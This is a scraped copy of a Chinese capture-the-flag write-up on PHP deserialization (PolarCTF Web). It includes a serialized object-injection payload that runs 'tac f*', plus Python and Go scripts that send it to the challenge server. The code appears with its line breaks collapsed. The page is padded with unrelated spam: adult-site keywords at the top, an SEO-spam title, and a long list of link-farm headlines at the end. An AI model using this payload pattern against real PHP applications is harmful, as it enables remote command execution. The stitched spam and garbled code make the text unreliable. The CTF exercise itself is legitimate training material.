国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當前位置: 首頁 > news >正文

做提升自己的網(wǎng)站汕頭自動seo

做提升自己的網(wǎng)站,汕頭自動seo,陜西網(wǎng)站制作公司,用地方名字做網(wǎng)站Polar Web【簡單】PHP反序列化初試 Contents Polar Web【簡單】PHP反序列化初試思路EXP手動腳本PythonGo 運行&總結(jié) 思路 啟動環(huán)境,顯示下圖中的PHP代碼,于是展開分析: 首先發(fā)現(xiàn)Easy類中有魔術(shù)函數(shù) __wakeup() ,實現(xiàn)的是對成員…

Polar Web【簡單】PHP反序列化初試

Contents

  • Polar Web【簡單】PHP反序列化初試
    • 思路
    • EXP
      • 手動
      • 腳本
        • Python
        • Go
    • 運行&總結(jié)

思路

啟動環(huán)境,顯示下圖中的PHP代碼,于是展開分析:

  1. 首先發(fā)現(xiàn)Easy類中有魔術(shù)函數(shù) __wakeup() ,實現(xiàn)的是對成員變量 $name 的回顯。
  2. 觀察下方發(fā)現(xiàn), unserialize() 函數(shù)將觸發(fā)該魔術(shù)函數(shù)的執(zhí)行,因此考慮構(gòu)造序列字符串傳入該類的成員變量 $name 中,以觸發(fā)命令執(zhí)行。
  • 本題分別使用手動注入和腳本運行兩種方式進行解答。

code

EXP

手動

manual
flag

腳本

Python
import requestsdef attack(url, payload):url += payloadres = (requests.get(url).content.decode('utf8'))if res:print(res[res.rindex('flag'):res.rindex('"')])if __name__ == '__main__':site = 'http://~.www.polarctf.com:8090/'pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'attack(site, pl)
Go
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url string) {//fmt.Println("url:", url)if resp, err := http.Get(url); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/"// 解析基礎(chǔ) URLu, err := url.Parse(baseURL)if err != nil {panic(err)}// 解析查詢字符串q, err := url.ParseQuery(u.RawQuery)if err != nil {panic(err)}// 添加或更新查詢參數(shù)q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")// 編碼查詢字符串u.RawQuery = q.Encode()attack(u.String())
}
  • !注意 !在Go語言中,為了防止特殊的字符導(dǎo)致URL被截斷引發(fā)HTTP請求異常,需要對原生URL進行編碼處理

運行&總結(jié)

run

  • 本題考查PHP代碼分析、反序列化以及序列構(gòu)造的技巧
  • 需要對PHP面向?qū)ο笤O(shè)計有所認識






敬,不完美的明天
http://aloenet.com.cn/news/35844.html

相關(guān)文章:

  • 織夢網(wǎng)站模板怎么做搜索引擎seo外包
  • 網(wǎng)站會員模板網(wǎng)站關(guān)鍵詞推廣價格
  • vultr 做網(wǎng)站搜索引擎優(yōu)化的完整過程
  • vs2012手機網(wǎng)站開發(fā)教程常用的五種網(wǎng)絡(luò)營銷工具
  • 工藝禮品東莞網(wǎng)站建設(shè)seoul national university
  • asp網(wǎng)站制作實例教程目前網(wǎng)絡(luò)推廣平臺
  • 天寧寺網(wǎng)站建設(shè)seo學(xué)校培訓(xùn)
  • 站長工具綜合查詢ip怎樣在百度上發(fā)布作品
  • 怎么做提取微信62的網(wǎng)站網(wǎng)頁制作流程
  • 網(wǎng)站的內(nèi)連接如何做沈陽優(yōu)化網(wǎng)站公司
  • 怎么通過域名做網(wǎng)站年度關(guān)鍵詞有哪些
  • 在那個網(wǎng)站做義工好河南網(wǎng)站建設(shè)定制
  • 江蘇專業(yè)的網(wǎng)站建設(shè)一點優(yōu)化
  • 定制網(wǎng)站開發(fā)報價單百度優(yōu)化怎么做
  • 龍華網(wǎng)站建設(shè)推廣平臺百度新聞發(fā)布
  • dw網(wǎng)站怎么做跳轉(zhuǎn)網(wǎng)站seo設(shè)計
  • 微信上建微網(wǎng)站要錢嗎深圳seo優(yōu)化服務(wù)
  • 會展設(shè)計專業(yè)學(xué)什么百度seo整站優(yōu)化
  • 重慶網(wǎng)領(lǐng)網(wǎng)站建設(shè)公司百度快照客服人工電話
  • 內(nèi)容導(dǎo)購網(wǎng)站模板網(wǎng)頁設(shè)計個人主頁模板
  • 網(wǎng)站建設(shè)策劃實訓(xùn)總結(jié)谷歌優(yōu)化推廣
  • 專業(yè)網(wǎng)站建設(shè)哪里好葫島百度seo
  • 企業(yè)網(wǎng)站 留言板站長之家seo查找
  • 織夢網(wǎng)站如何做seo班級優(yōu)化大師免費下載
  • 廣州網(wǎng)站建設(shè)廣州網(wǎng)絡(luò)推廣公司如何建立一個網(wǎng)站
  • ftp網(wǎng)站劫持微博推廣怎么做
  • 網(wǎng)站建設(shè)違約怎么優(yōu)化網(wǎng)站排名才能起來
  • 公司網(wǎng)站建站哪個系統(tǒng)好用網(wǎng)站建設(shè)seo優(yōu)化培訓(xùn)
  • flashcs6網(wǎng)站建設(shè)成品網(wǎng)站貨源1
  • 培訓(xùn)公司網(wǎng)站建設(shè)圖片外鏈生成